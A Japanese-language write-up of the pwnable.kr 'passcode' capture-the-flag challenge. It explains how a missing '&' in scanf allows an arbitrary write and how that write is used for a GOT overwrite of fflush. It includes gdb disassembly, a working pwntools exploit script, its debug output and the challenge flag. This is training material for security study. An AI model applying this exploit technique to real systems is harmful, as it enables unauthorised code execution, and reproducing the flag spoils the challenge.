Post

Pwnable.kr 「passcode (Toddler's Bottle)」Writeup

アドレス演算子の抜けによる任意書き込みと,GOT-Overwriteに関する問題

Pwnable.kr 「passcode (Toddler's Bottle)」Writeup

pwnable_kr-passcode

Summary

本門はC言語におけるアドレス演算子 & の抜けによる任意書き込みと,GOT-Overwriteに関する問題です.

  • Category: Pwn
  • Description: Mommy told me to make a passcode based login system. My first trial C implementation compiled without any error! Well, there were some compiler warnings, but who cares about that?
  • Tools & TechStack:
    • C
    • gdb
  • Release: N/A

階層構造

1
2
3
4
5
6
7
8
9
.
├── Dockerfile
├── flag
├── passcode
├── passcode.c
├── readme
└── run.sh

1 directory, 6 files

バイナリ保護機構

1
2
3
4
5
6
7
$ checksec --file=passcode
    Arch:       i386-32-little
    RELRO:      Partial RELRO # GOT overwrite
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No

ソースコードの解析

一番最初に気になったのは,login() における scanf() の構文です. passcode1 に対して,%d で文字列を受け取るのであれば,scanf("%d", &passcode1); のようにアドレス演算子 (&) をつける必要があります. しかし,この実装では passcode1 の値が指すアドレスに,入力した整数を書き込む という処理になっています. そのため,enter passcode1: に対して10進数値を入れる方法は成り立ちません. 別の方法を考える必要があります.

ha! mommy told me that 32bit is vulnerable to bruteforcing :) というコメントがありますが,& が抜けているため,10進数を入力する方法がそもそも成り立ちません. 攻略のミスリードを誘うための作者の意図的なコメントだと思われます. そもそも,値がハードコードされているのにも関わらず,ブルートフォースする意味がありません.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#include <stdio.h>
#include <stdlib.h>

void login()
{
	int passcode1;
	int passcode2;

	printf("enter passcode1 : ");
	scanf("%d", passcode1); // & がついてない
	fflush(stdin);

	// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
	printf("enter passcode2 : ");
	scanf("%d", passcode2);

	printf("checking...\n");
	if (passcode1 == 338150 && passcode2 == 13371337)
	{
		printf("Login OK!\n");
		setregid(getegid(), getegid());
		system("/bin/cat flag");
	}
	else
	{
		printf("Login Failed!\n");
		exit(0);
	}
}

void welcome()
{
	char name[100];
	printf("enter you name : ");
	scanf("%100s", name);
	printf("Welcome %s!\n", name);
}

int main()
{
	printf("Toddler's Secure Login System 1.1 beta.\n");

	welcome();
	login();

	// something after login...
	printf("Now I can safely trust you that you have credential :)\n");
	return 0;
}

passcord1 のアドレスに任意値を書き込む方法を調べる

1
2
3
4
5
6
7
(gdb) disas welcome
#...
   0x080492f6 <+4>:     sub    esp,0x74 # 116byte (16バイトアラインメント・パディング)
   0x080492f9 <+7>:     call   0x8049130 <__x86.get_pc_thunk.bx> # char name[100]
#...
   0x0804933a <+72>:    lea    eax,[ebp-0x70] # [ebp-0x70] が name[100] の先頭アドレス
#...
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
(gdb) b *welcome+61
Breakpoint 1 at 0x804932f
(gdb) r
Breakpoint 1, 0x0804932f in welcome ()
(gdb) p/x $ebp - 0x70 
$1 = 0xffff3e58

(gdb) disas login
#...
   0x0804927d <+135>:   cmp    DWORD PTR [ebp-0x10],0x528e6
   0x08049284 <+142>:   jne    0x80492ce <login+216>
   0x08049286 <+144>:   cmp    DWORD PTR [ebp-0xc],0xcc07c9
   0x0804928d <+151>:   jne    0x80492ce <login+216>
#...

(gdb) b *login+135
Breakpoint 2 at 0x804927d
(gdb) r
(gdb) p/x $ebp-0x10
$2 = 0xffff3eb8

ディスアセンブリから,passcode1 のアドレスが[ebp-0x10] = 0xffff3eb8 であり,同様に,name[] の先頭アドレスが [ebp - 0x70] = 0xffff3e58 であることが分かりました.

  • 0xffff3eb8 − 0xffff3e58 = 0x60 = 96

[0xffff3e58, 0xffff3e58+100) の範囲に,passcode1 のアドレスが包含されているため,(name[96]~name[99]) で passcode1 に任意の値を書き込むことができます.

fflush() の GOT-Overwrite

scanf("%d", passcode1); の直後に fflush() が呼ばれています. そのため,以下の方法でGOT-Overwrite (Partial RELROより,.got.plt が RW) が可能だと思われます.

  1. name[] と passcode1 のアドレスの包含を用いて,name[96]~name[99] に fflush() のGOT アドレスを埋め込む.-> passcode1 = fflushのGOTアドレス になる.
  2. passcode1 の値 (GOTアドレス先) に対して,scanf("%d", passcode1); を用いて system() へのアドレスで上書きする.
  3. if文をバイパスして,system() に飛び,/bin/cat flag できる.

この方法を使用するために,まずは fflush() のGOTアドレスを確定させます.

1
2
3
4
5
6
7
8
9
$ objdump -R ./passcode

./passcode:     file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE
#...
0804c014 R_386_JUMP_SLOT   fflush@GLIBC_2.0
#...

fflush() のオフセットが 0804c014 であることが分かりました. あとは,ジャンプ先の system() のアドレスを確定させます.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
   0x0804929e <+168>:   add    esp,0x10
   0x080492a1 <+171>:   call   0x8049080 <getegid@plt>
   0x080492a6 <+176>:   mov    esi,eax
   0x080492a8 <+178>:   call   0x8049080 <getegid@plt>
--Type <RET> for more, q to quit, c to continue without paging--
   0x080492ad <+183>:   sub    esp,0x8
   0x080492b0 <+186>:   push   esi
   0x080492b1 <+187>:   push   eax
   0x080492b2 <+188>:   call   0x80490c0 <setregid@plt>
   0x080492b7 <+193>:   add    esp,0x10
   0x080492ba <+196>:   sub    esp,0xc
   0x080492bd <+199>:   lea    eax,[ebx-0x1fb9]
   0x080492c3 <+205>:   push   eax
   0x080492c4 <+206>:   call   0x80490a0 <system@plt>

system() 関連の処理を含み,16byteアラインメント的にも安全な +196 のアドレス 0x080492ba を使用します.(もし,sub esp,0xc を飛ばすとアラインメントがずれてうまく動作しない可能性があるため)

Exploit を書く

このエクスプロイトコードでは,アドレスをハードコードしています. これは,この問題が No PIE であるため動作します.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

context.log_level = 'debug'

p = remote("pwnable.kr", 10004)

# fflush() の .got.plt のアドレスを passcode1 に入れる
name_payload = b'A'*96 + p32(0x0804c014)
# system() へのアドレスをGOTに上書き
overwrite_payload = str(0x080492ba).encode()

p.sendlineafter(b"enter you name : ", name_payload)
p.sendlineafter(b'enter passcode1 : ', overwrite_payload)

print(p.recvall(timeout=3))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$ python3 exploit.py
[+] Opening connection to pwnable.kr on port 10004: Done
[DEBUG] Received 0x39 bytes:
    b"Toddler's Secure Login System 1.1 beta.\n"
    b'enter you name : '
[DEBUG] Sent 0x65 bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    *
    00000060  14 c0 04 08  0a                                     │····│·│
    00000065
[DEBUG] Received 0x80 bytes:
    00000000  57 65 6c 63  6f 6d 65 20  41 41 41 41  41 41 41 41  │Welc│ome │AAAA│AAAA│
    00000010  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    *
    00000060  41 41 41 41  41 41 41 41  14 c0 04 08  21 0a 65 6e  │AAAA│AAAA│····│!·en│
    00000070  74 65 72 20  70 61 73 73  63 6f 64 65  31 20 3a 20  │ter │pass│code│1 : │
    00000080
[DEBUG] Sent 0xa bytes:
    b'134517434\n'
[+] Receiving all data: Done (97B)
[DEBUG] Received 0x61 bytes:
    b's0rry_mom_I_just_ign0red_c0mp1ler_w4rning\n'
    b'Now I can safely trust you that you have credential :)\n'
[*] Closed connection to pwnable.kr port 10004
b's0rry_mom_I_just_ign0red_c0mp1ler_w4rning\nNow I can safely trust you that you have credential :)\n'

Post-Mortem & Dead ends

  • & アドレス演算子が抜けている場合,これは任意書き込みにつながる可能性がある.

References

N/A

This post is licensed under CC BY 4.0 by the author.